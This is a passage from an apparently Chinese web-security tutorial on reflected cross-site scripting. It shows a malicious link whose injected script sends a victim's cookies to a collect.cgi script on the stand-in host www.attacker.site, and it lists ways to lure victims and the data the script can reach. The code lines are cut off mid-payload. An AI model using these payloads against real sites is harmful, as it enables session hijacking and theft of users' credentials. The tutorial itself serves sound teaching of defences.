当然,真正的恶意攻击包含了将这些 cookies 发送给黑客的操作。对此,黑客可能建立 Web 站点(www.attacker.site)并使用脚本来接收 cookies。替代弹出窗口,黑客会书写访问 www.attacker.site 的 URL 的代码,从而调用接收 cookie 的脚本,其参数设置为被窃取的 cookies。这样,黑客可以从 www.attacker.site 服务器上获得 cookies。
恶意的链接会是:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open |
响应页面看起来像这样:
<HTML> <Title>Welcome!</Title> Hi |
加载该页面的浏览器会立即执行内嵌的 JavaScript,并向 www.attacker.site 中的 collect.cgi 脚本发送请求,并附带着浏览器已经拥有的 www.vulnerable.site 的 cookies 的值。这样就泄漏了客户端所拥有的 www.vulnerable.site 的 cookies。这将允许黑客冒充受害者。客户的隐私就完全被破坏了。
注意:
引发 JavaScript 弹出窗口的出现通常足够说明该站点容易受到 XSS 攻击。如果可以调用 JavaScript
Alert 方法,那么通常没理由 window.open 调用不成功。这就是为什么大部分 XSS 攻击的实例使用 Alert
方法,因为这很容易检测其成功。
攻击只会在受害者用于访问站点(www.vulnerable.site)的同一个浏览器中发生。黑客需要强迫客户端访问恶意链接。这会以以下这些方式进行:
- 黑客发送包含强迫浏览器访问该链接的 HTML 页面的电子邮件消息。这要求受害者使用 HTML 有效的电子邮件客户端,并且客户端的 HTML 阅读器是用于访问 www.vulnerable.site 的同一个浏览器。
- 客户端访问可能受黑客运作的站点,其中的图片链接或其他激活的 HTML 强迫浏览器访问该链接。再次声明,必须要求浏览器与访问该站点和 www.vulnerable.site 的是同一个浏览器。
恶意的 JavaScript 可以访问任何下列信息:
- 浏览器维护的(www.vulnerable.site 的)永久 cookies
- 浏览器实例维护的(www.vulnerable.site 的)RAM cookies,但只有当最近浏览 www.vulnerable.site 时发生。
- 为 www.vulnerable.site 打开的其他窗口的名称
- 可以通过当前的 DOM 访问的任何信息(如值、HTML 代码,等等)
身份识别、验证和授权标志通常以 cookies 形式维护。如果这些 cookies 是永久的,那么即使不在访问 www.vulnerable.site 的时候使用浏览器,受害者也是易受攻击的。然而,如果 cookies 是临时的,例如 RAM cookies,那么客户端必须处于访问 www.vulnerable.site 的会话中。
身份识别标志的另一种可能的实现是通过 URL 参数。在这种情况下,可以用这种方式使用 JavaScript 访问其他窗口(假设带有必要的 URL 参数的页面的名称为 foobar):
<script>var victim_window=open(",'foobar');alert('Can access: |
文章来源于领测软件测试网 https://www.ltesting.net/